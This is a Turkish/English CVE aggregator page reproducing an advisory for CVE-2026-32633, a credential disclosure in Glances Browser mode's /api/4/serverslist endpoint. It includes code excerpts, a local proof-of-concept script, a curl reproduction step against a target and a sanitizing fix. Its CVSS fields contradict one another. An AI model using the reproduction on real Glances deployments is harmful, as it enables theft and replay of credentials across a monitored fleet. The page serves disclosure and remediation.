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CVE-2026-32633

Glances's Browser API Exposes Reusable Downstream Credentials via `/api/4/serverslist`

CVSS Skor

9.1

EPSS İhtimal

%0.5

Risk Skoru

0.0

Yayın

7 ay önce

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Zafiyet Açıklaması

DayBreach CVE AI Araştırması

CVE-2026-32633 için toplanan üretici, dağıtım, yama ve güvenlik kaynağı kayıtlarını karşılaştırıp kanıt bağlantılı bir açıklama hazırlayalım.

## Summary In Central Browser mode, the `/api/4/serverslist` endpoint returns raw server objects from `GlancesServersList.get_servers_list()`. Those objects are mutated in-place during background polling and can contain a `uri` field with embedded HTTP Basic credentials for downstream Glances servers, using the reusable pbkdf2-derived Glances authentication secret. If the front Glances Browser/API instance is started without `--password`, which is supported and common for internal network deployments, `/api/4/serverslist` is completely unauthenticated. Any network user who can reach the Browser API can retrieve reusable credentials for protected downstream Glances servers once they have been polled by the browser instance. ## Details The Browser API route simply returns the raw servers list: ```python # glances/outputs/glances_restful_api.py:799-805 def _api_servers_list(self): self.__update_servers_list() return GlancesJSONResponse(self.servers_list.get_servers_list() if self.servers_list else []) ``` The main API router is only protected when the front instance itself was started with `--password`. Otherwise there are no authentication dependencies at all: ```python # glances/outputs/glances_restful_api.py:475-480 if self.args.password: router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)]) else: router = APIRouter(prefix=self.url_prefix) ``` The Glances web server binds to `0.0.0.0` by default: ```python # glances/main.py:425-427 parser.add_argument( '--bind', default='0.0.0.0', dest='bind_address', ) ``` During Central Browser polling, server entries are modified in-place and gain a `uri` field: ```python # glances/servers_list.py:141-148 def __update_stats(self, server): server['uri'] = self.get_uri(server) ... if server['protocol'].lower() == 'rpc': self.__update_stats_rpc(server['uri'], server) elif server['protocol'].lower() == 'rest' and not import_requests_error_tag: self.__update_stats_rest(f"{server['uri']}/api/{__apiversion__}", server) ``` For protected servers, `get_uri()` loads the saved password from the `[passwords]` section (or the `default` password), hashes it, and embeds it directly in the URI: ```python # glances/servers_list.py:119-130 def get_uri(self, server): if server['password'] != "": if server['status'] == 'PROTECTED': clear_password = self.password.get_password(server['name']) if clear_password is not None: server['password'] = self.password.get_hash(clear_password) uri = 'http://{}:{}@{}:{}'.format( server['username'], server['password'], server['name'], server['port'], ) else: uri = 'http://{}:{}'.format(server['name'], server['port']) return uri ``` Password lookup falls back to a global default: ```python # glances/password_list.py:55-58 try: return self._password_dict[host] except (KeyError, TypeError): return self._password_dict['default'] ``` The sample configuration explicitly supports browser-wide default password reuse: ```ini # conf/glances.conf:656-663 [passwords] # localhost=abc # default=defaultpassword ``` The secret embedded in `uri` is not the cleartext password, but it is still a reusable Glances authentication credential. Client connections send that pbkdf2-derived hash over HTTP Basic authentication: ```python # glances/password.py:72-74,94 # For Glances client, get the password (confirm=False, clear=True): # 2) the password is hashed with SHA-pbkdf2_hmac (only SHA string transit password = password_hash ``` ```python # glances/client.py:56-57 if args.password != "": self.uri = f'http://{args.username}:{args.password}@{args.client}:{args.port}' ``` The Browser WebUI also consumes that raw `uri` directly and redirects the user to it: ```javascript // glances/outputs/static/js/Browser.vue:83-103 fetch("api/4/serverslist", { method: "GET" }) ... window.location.href = server.uri; ``` So once `server.uri` contains credentials, those credentials are not just used internally; they are exposed to API consumers and frontend JavaScript. ## PoC ### Step 1: Verified local live proof that server objects contain credential-bearing URIs The following command executes the real `glances/servers_list.py` update logic against a live local HTTP server that always returns `401`. This forces Glances to mark the downstream server as `PROTECTED` and then retry with the saved/default password. After the second refresh, the in-memory server list contains a `uri` field with embedded credentials. ```bash cd D:\bugcrowd\glances\repo @' import importlib.util import json import sys import threading import types from http.server import BaseHTTPRequestHandler, HTTPServer from pathlib import Path from defusedxml import xmlrpc as defused_xmlrpc pkg = types.ModuleType('glances') pkg.__apiversion__ = '4' sys.modules['glances'] = pkg client_mod = types.ModuleType('glances.client') class GlancesClientTransport(defused_xmlrpc.xmlrpc_client.Transport): def set_timeout(self, timeout): self.timeout = timeout client_mod.GlancesClientTransport = GlancesClientTransport sys.modules['glances.client'] = client_mod globals_mod = types.ModuleType('glances.globals') globals_mod.json_loads = json.loads sys.modules['glances.globals'] = globals_mod logger_mod = types.ModuleType('glances.logger') logger_mod.logger = types.SimpleNamespace( debug=lambda *a, **k: None, warning=lambda *a, **k: None, info=lambda *a, **k: None, error=lambda *a, **k: None, ) sys.modules['glances.logger'] = logger_mod password_list_mod = types.ModuleType('glances.password_list') class GlancesPasswordList: pass password_list_mod.GlancesPasswordList = GlancesPasswordList sys.modules['glances.password_list'] = password_list_mod dynamic_mod = types.ModuleType('glances.servers_list_dynamic') class GlancesAutoDiscoverServer: pass dynamic_mod.GlancesAutoDiscoverServer = GlancesAutoDiscoverServer sys.modules['glances.servers_list_dynamic'] = dynamic_mod static_mod = types.ModuleType('glances.servers_list_static') class GlancesStaticServer: pass static_mod.GlancesStaticServer = GlancesStaticServer sys.modules['glances.servers_list_static'] = static_mod spec = importlib.util.spec_from_file_location('tested_servers_list', Path('glances/servers_list.py')) mod = importlib.util.module_from_spec(spec) spec.loader.exec_module(mod) GlancesServersList = mod.GlancesServersList class Handler(BaseHTTPRequestHandler): def do_POST(self): _ = self.rfile.read(int(self.headers.get('Content-Length', '0'))) self.send_response(401) self.end_headers() def log_message(self, *args): pass httpd = HTTPServer(('127.0.0.1', 0), Handler) port = httpd.server_address[1] thread = threading.Thread(target=httpd.serve_forever, daemon=True) thread.start() class FakePassword: def get_password(self, host=None): return 'defaultpassword' def get_hash(self, password): return f'hash({password})' sl = GlancesServersList.__new__(GlancesServersList) sl.password = FakePassword() sl._columns = [{'plugin': 'system', 'field': 'hr_name'}] server = { 'key': f'target:{port}', 'name': '127.0.0.1', 'ip': '203.0.113.77', 'port': port, 'protocol': 'rpc', 'username': 'glances', 'password': '', 'status': 'UNKNOWN', 'type': 'STATIC', } sl.get_servers_list = lambda: [server] sl._GlancesServersList__update_stats(server) sl._GlancesServersList__update_stats(server) httpd.shutdown() thread.join(timeout=2) print(json.dumps(sl.get_servers_list(), indent=2)) '@ | python - ``` Verified output: ```json [ { "key": "target:57390", "name": "127.0.0.1", "ip": "203.0.113.77", "port": 57390, "protocol": "rpc", "username": "glances", "password": null, "status": "PROTECTED", "type": "STATIC", "uri": "http://glances:hash(defaultpassword)@127.0.0.1:57390", "columns": [ "system_hr_name" ] } ] ``` This is the same raw object shape that `/api/4/serverslist` returns. ### Step 2: Remote reproduction on a live Browser instance 1. Configure Glances Browser mode with a saved default password for downstream servers: ```ini [passwords] default=SuperSecretBrowserPassword ``` 2. Start the Browser/API instance without front-end authentication: ```bash glances --browser -w -C ./glances.conf ``` 3. Ensure at least one protected downstream server is polled and marked `PROTECTED`. 4. From any machine that can reach the Glances Browser API, fetch the raw server list: ```bash curl -s http://TARGET:61208/api/4/serverslist ``` 5. Observe entries like: ```json { "name": "internal-glances.example", "status": "PROTECTED", "uri": "http://glances:<pbkdf2_hash>@internal-glances.example:61209" } ``` ## Impact - **Unauthenticated credential disclosure:** When the front Browser API runs without `--password`, any reachable user can retrieve downstream Glances authentication secrets from `/api/4/serverslist`. - **Credential replay:** The disclosed pbkdf2-derived hash is the effective Glances client secret and can be replayed against downstream Glances servers using the same password. - **Fleet-wide blast radius:** A single Browser instance can hold passwords for many downstream servers via host-specific entries or `[passwords] default`, so one exposed API can disclose credentials for an entire monitored fleet. - **Chains with the earlier CORS issue:** Even when the front instance uses `--password`, the permissive default CORS behavior can let a malicious website read `/api/4/serverslist` from an authenticated browser session and steal the same downstream credentials cross-origin. ## Recommended Fix Do not expose credential-bearing fields in API responses. At minimum, strip `uri`, `password`, and any derived credential material from `/api/4/serverslist` responses and make the frontend derive navigation targets without embedded auth. ```python # glances/outputs/glances_restful_api.py def _sanitize_server(self, server): safe = dict(server) safe.pop('password', None) safe.pop('uri', None) return safe def _api_servers_list(self): self.__update_servers_list() servers = self.servers_list.get_servers_list() if self.servers_list else [] return GlancesJSONResponse([self._sanitize_server(server) for server in servers]) ``` And in the Browser WebUI, construct navigation URLs from non-secret fields (`ip`, `name`, `port`, `protocol`) instead of trusting a backend-supplied `server.uri`.

IMPACT — Etkilenen Ürünler ve Yazılımlar

Affected Products

The following products are affected by CVE-2026-32633 vulnerability. Even if our threat engine is aware of the exact versions of the products that are affected, the information is represented below.

IDVENDORPRODUCTACTION
1pypiglances İncele
Total Affected Vendor: 1|Products: 1

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Red Hat bu CVE için henüz bir CSAF/VEX etki kaydı yayımlamamış. Bu durum “etkilenmiyor” anlamına gelmez.

SCORING — CVSS Çoklu Kaynak Skoru

CVSS Scores

The Common Vulnerability Scoring System is a standardized framework for assessing the severity of vulnerabilities in software and systems. We collect and display CVSS scores from various sources for each CVE.

SCOREVERSIONSEVERITYVECTORSOURCE
9.1CVSS 3.x—Vektör yayımlanmadıGitHub Advisory
0.0CVSS 4.0—Vektör yayımlanmadıGitHub Advisory

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Public exploit ve aktif sömürü durumu

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Zafiyet Dağılımı ve Saldırı Kalıpları (CWE & CAPEC)

CWE - Common Weakness Enumeration

While CVE identifies specific instances of vulnerabilities, CWE categorizes the common flaws or weaknesses that can lead to vulnerabilities. CVE-2026-32633 is associated with the following CWEs:

Common Attack Pattern Enumeration and Classification (CAPEC)

Common Attack Pattern Enumeration and Classification (CAPEC) stores attack patterns, which are descriptions of the common attributes and approaches employed by adversaries to exploit the CVE-2026-32633 weaknesses.

Saldırı Vektörü ve Erişilebilirlik Karakteristiği

ErişimAğ üzerinden
YetkiGerekmiyor
KullanıcıGerekmiyor

Resmi Kaynaklar ve Danışma Bültenleri

CVSS Vektör Radar Grafiği

9.1 / 10
Attack VectorNetworkComplexityLowPrivilegesNoneUser Interact.NoneConfidentialityLowIntegrityNoneAvailabilityNone

Vulnerability Scoring Details

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Attack VectorNetwork (Ağ)
Attack ComplexityLow (Düşük)
Privileges RequiredNone (Gerekmiyor)
User InteractionNone (Gerekmiyor)
Confidentiality (Gizlilik)Low (Düşük)
Integrity (Bütünlük)None (Yok)
Availability (Erişilebilirlik)None (Yok)

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CVE-2026-32633 · Glances's Browser API Exposes Reusable…